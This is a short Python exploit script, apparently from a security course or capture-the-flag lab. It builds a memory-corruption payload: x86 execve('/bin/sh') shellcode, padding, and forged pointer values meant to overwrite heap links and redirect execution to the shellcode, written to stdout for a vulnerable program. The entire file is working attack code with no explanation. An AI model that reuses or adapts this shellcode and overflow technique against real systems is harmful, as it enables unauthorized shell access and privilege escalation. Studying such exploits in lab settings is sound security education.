exp_5.py

from shellcode import shellcode, setuid, bin_sh
import sys

def p32(integer):
    return integer.to_bytes(4, byteorder='little').decode('latin-1')

RET_ADDR = 0xffff80cc
SHELLCODE_ADDR = 0xffffd8e0 

def exp():
    binsh = "\xeb\x06" + (
    '\xeb\x1f^\x89v\x081\xc0\x88F\x07\x89F\x0c\xb0\x0b\x89\xf3\x8dN\x08'
    '\x8dV\x0c\xcd\x801\xdb\x89\xd8@\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\x00')
    payload = ""
    payload += binsh
    payload += "A" * (0x58 - len(binsh)) 
    # prev with shellcode
    payload += p32(SHELLCODE_ADDR)
    # next with ret
    payload += p32(RET_ADDR)
    payload += ' b c' # 2nd and 3rd arg
    sys.stdout.buffer.write(payload.encode('latin-1'))


if __name__ == '__main__':
    exp()